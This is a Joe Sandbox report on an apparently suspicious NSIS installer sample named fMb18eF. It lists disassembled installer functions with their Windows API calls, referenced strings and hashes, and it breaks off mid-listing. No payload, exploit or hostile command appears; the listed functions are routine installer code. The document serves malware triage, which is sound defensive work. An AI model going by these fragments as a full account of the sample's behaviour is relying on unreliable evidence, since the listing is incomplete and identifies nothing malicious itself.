Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" created, xrefs: 00401849

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

@jG, xrefs: 00405AF2
F, xrefs: 00405A22
_Nb, xrefs: 00405AFD
RichEdit, xrefs: 00405BF0
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
.exe, xrefs: 00405A69
RichEd20, xrefs: 00405BC9
.DEFAULT\Control Panel\International, xrefs: 004059C5
RichEd32, xrefs: 00405BD4
"F, xrefs: 00405A4B
RichEdit20A, xrefs: 00405BE2, 00405BE7

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,EfficiencyOperators,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,EfficiencyOperators,EfficiencyOperators,00000000,00000000,EfficiencyOperators,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425D76,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0
EfficiencyOperators, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user retry, xrefs: 00401B40

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: EfficiencyOperators$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-561159958
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Error launching installer, xrefs: 00403603
Inst, xrefs: 00403698
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
Null, xrefs: 004036AA
soft, xrefs: 004036A1

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00425D76,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

(]C, xrefs: 004033FD
pAB, xrefs: 004033AB
... %d%%, xrefs: 004034C8
v]B, xrefs: 0040346F, 0040348A, 00403513

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$v]B
API String ID: 651206458-2512136429
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00425D76,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNELBASE(00828220), ref: 00402387

Strings

EfficiencyOperators, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: EfficiencyOperators$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-3539671099
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNELBASE(00828220), ref: 00402387

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

EfficiencyOperators, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$EfficiencyOperators$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1220386150
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425D76,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

